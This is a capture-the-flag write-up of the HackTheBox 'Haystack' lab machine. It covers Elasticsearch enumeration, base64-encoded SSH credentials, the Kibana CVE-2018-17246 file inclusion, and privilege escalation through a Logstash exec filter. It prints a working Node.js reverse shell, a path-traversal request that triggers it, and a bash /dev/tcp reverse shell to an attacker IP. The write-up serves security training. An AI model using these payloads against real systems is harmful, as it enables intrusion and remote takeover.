HTB: Haystack Writeup
Haystack - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Haystack |
| OS | Linux |
| Difficulty | Easy |
| Points | N/A |
| Release Date | 20 October 2019 |
| IP Address | N/A |
| Author | d3vn0mi |
Machine Rating
⭐⭐☆☆☆ (2/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐☆☆☆
- CTF-like: ⭐⭐⭐⭐☆
Summary
Haystack is an Easy difficulty Linux box running the ELK stack (Elasticsearch, Logstash, and Kibana). The vulnerability chain involves enumerating an unprotected Elasticsearch instance to discover base64-encoded SSH credentials, gaining initial access as the security user, and then exploiting a file inclusion vulnerability (CVE-2018-17246) in Kibana 6.4.2 to achieve RCE as the kibana user. Finally, privilege escalation occurs through misconfigured Logstash filters that execute arbitrary commands as root based on file content matching.
TL;DR: Elasticsearch enumeration → Base64 credentials → SSH foothold → Kibana LFI (CVE-2018-17246) → Logstash filter RCE → Root shell
Reconnaissance
Port Scanning
# Initial scan to identify open portsnmap -p- --min-rate=1000 -T4 10.10.10.115
# Detailed service enumerationports=$(nmap -p- --min-rate=1000 -T4 10.10.10.115 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -sC -sV 10.10.10.115Results:
- Port 22/TCP - SSH (OpenSSH)
- Port 80/TCP - HTTP (Nginx) - Serves a needle image
- Port 9200/TCP - Elasticsearch HTTP API
Service Enumeration
Elasticsearch Discovery
Port 9200 is the default Elasticsearch HTTP API port. Accessing it returns JSON metadata confirming the service:
# Enumerate Elasticsearch indicescurl -s http://10.10.10.115:9200/_cat/indices?vIdentified Indices: quotes, bank, .kibana
Extracting Data from Quotes Index
The quotes index contains 253 entries. We can retrieve them all using the search API:
# Count entries in quotes indexcurl -s 'http://10.10.10.115:9200/quotes/_count'
# Retrieve all 253 entriescurl -s 'http://10.10.10.115:9200/quotes/_search?size=253' | jq '.hits.hits | .[] | ._source.quote' > /tmp/quotes
# Display resultscat /tmp/quotesVulnerability Assessment
Identified Issues:
- Unprotected Elasticsearch Instance - No authentication required on port 9200
- Sensitive Data Exposure - Base64-encoded credentials stored in plaintext documents
- Kibana 6.4.2 LFI Vulnerability - CVE-2018-17246 in
/api/console/api_serverendpoint - Misconfigured Logstash Filters - Filters execute arbitrary commands as root based on file patterns
Initial Foothold
Exploitation Path
Step 1: Extract Base64 Credentials from Elasticsearch
While reviewing the quotes in Spanish, two entries stand out containing base64 data:
Tengo que guardar la clave para la maquina: dXNlcjogc2VjdXJpdHkgEsta clave no se puede perder, la guardo aca: cGFzczogc3BhbmlzaC5pcy5rZXk=Decoding these strings:
# Decode first base64 stringecho "dXNlcjogc2VjdXJpdHkg" | base64 -d# Output: user: security
# Decode second base64 stringecho "cGFzczogc3BhbmlzaC5pcy5rZXk=" | base64 -d# Output: pass: spanish.is.keyCredentials Obtained: security:spanish.is.key
Step 2: SSH Access
# Connect via SSH with discovered credentialsssh security@10.10.10.115Result: Successfully authenticated as the security user.
Privilege Escalation
Step 1: Discover Kibana on Localhost
Once inside the system, enumerate listening ports:
# Check listening services (netstat unavailable, using ss)ss -4ln
# Output shows Kibana listening on 127.0.0.1:5601Step 2: Port Forward Kibana
# Forward local port 5601 to remote Kibanassh -L 5601:127.0.0.1:5601 security@10.10.10.115 -NAccess Kibana at http://localhost:5601
Step 3: Identify Kibana Version and Vulnerability
# Check Kibana version via APIcurl -s http://localhost:5601/api/status | jq '.version.number'Version: 6.4.2 → Vulnerable to CVE-2018-17246 (File Inclusion in /api/console/api_server)
Step 4: Exploit CVE-2018-17246 for RCE
Create a Node.js reverse shell payload:
# Create shell.js with Node.js reverse shellcat > /tmp/shell.js << 'EOF'(function(){ var net = require("net"), cp = require("child_process"), sh = cp.spawn("/bin/sh", []); var client = new net.Socket(); client.connect(1234, "10.10.14.7", function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); return /a/; // Prevents Node.js application from crashing})();EOFOn your attack machine, start a reverse shell listener:
nc -lvnp 1234Trigger the file inclusion exploit:
# Exploit LFI to execute shell.jscurl 'http://localhost:5601/api/console/api_server?apis=../../../../../../../../../tmp/shell.js'Result: Reverse shell received as kibana user.
Step 5: Access Logstash Configuration
# Enumerate files accessible to kibana userfind / -user kibana 2>/dev/null | grep -v /usr | grep -v /proc
# Discover /etc/logstash/conf.d directoryls -la /etc/logstash/conf.d/Step 6: Analyze Logstash Configuration
input.conf:
input { file { path => "/opt/kibana/logstash_*" start_position => "beginning" sincedb_path => "/dev/null" stat_interval => "10 second" type => "execute" mode => "read" }}Logstash monitors /opt/kibana/logstash_* files every 10 seconds.
filter.conf:
filter { if [type] == "execute" { grok { match => { "message" => "Ejecutar\s*comando\s*:\s+%{GREEDYDATA:comando}" } } }}The grok filter extracts commands following “Ejecutar comando :” pattern.
output.conf:
output { if [type] == "execute" { stdout { codec => json } exec { command => "%{comando} &" } }}The exec plugin executes the extracted command as root.
Step 7: Create Malicious Logstash File
# Test with whoami commandecho 'Ejecutar comando : whoami > /tmp/user' > /opt/kibana/logstash_execute
# Wait 10 seconds for Logstash to processsleep 12cat /tmp/user# Output: root (confirms command execution as root)Step 8: Achieve Root Shell
# Create reverse shell payloadecho 'Ejecutar comando: bash -i >& /dev/tcp/10.10.14.7/4444 0>&1' > /opt/kibana/logstash_exec
# On attack machine, set up listenernc -lvnp 4444
# Wait for Logstash to process (10 seconds) and receive root shellResult: Interactive root shell acquired.
Attack Chain Summary
Elasticsearch Enumeration ↓Extract Base64 Credentials (security:spanish.is.key) ↓SSH Foothold as 'security' User ↓Port Forward Kibana (127.0.0.1:5601) ↓Identify Kibana 6.4.2 (CVE-2018-17246) ↓Exploit LFI via /api/console/api_server ↓RCE as 'kibana' User ↓Discover Logstash Configuration Files ↓Analyze Logstash Filters (file monitoring + exec plugin) ↓Create Malicious File in /opt/kibana/ ↓Root Command Execution (via Logstash exec filter) ↓Root ShellTools Used
| Tool | Purpose |
|---|---|
nmap | Network port scanning and service enumeration |
curl | HTTP requests to Elasticsearch and Kibana APIs |
jq | JSON parsing and data extraction |
base64 | Decoding base64-encoded credentials |
ssh | Remote SSH access and port forwarding |
netcat | Reverse shell listener |
grep/find | File and directory enumeration |
Key Learnings
Techniques Practiced
- Elasticsearch API enumeration and data extraction
- Base64 encoding/decoding for credential recovery
- SSH port forwarding for accessing internal services
- CVE-2018-17246 exploitation (Kibana LFI)
- Node.js reverse shell payload construction
- Logstash configuration analysis
- Grok filter pattern matching
- File-based command execution chains
- Privilege escalation through configuration mismanagement
Lessons Learned
-
Unprotected databases are critical vulnerabilities - Direct access to Elasticsearch without authentication allowed complete data extraction including credentials.
-
Encoding is not encryption - Base64 encoding credentials provides no security and should never be used as a substitute for proper secrets management.
-
Version-specific CVEs require specific payloads - The Kibana LFI vulnerability required understanding Node.js execution context and reverse shell construction.
-
File monitoring patterns can be exploited - Logstash’s file glob patterns combined with unsafe exec commands created a privilege escalation path.
-
Defense in depth matters - Multiple security failures (unprotected Elasticsearch → outdated Kibana → unsafe Logstash config) were necessary to achieve root compromise.
-
Command injection through filters - Grok patterns extract user-controllable data that flows directly to exec commands, enabling OS command injection.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>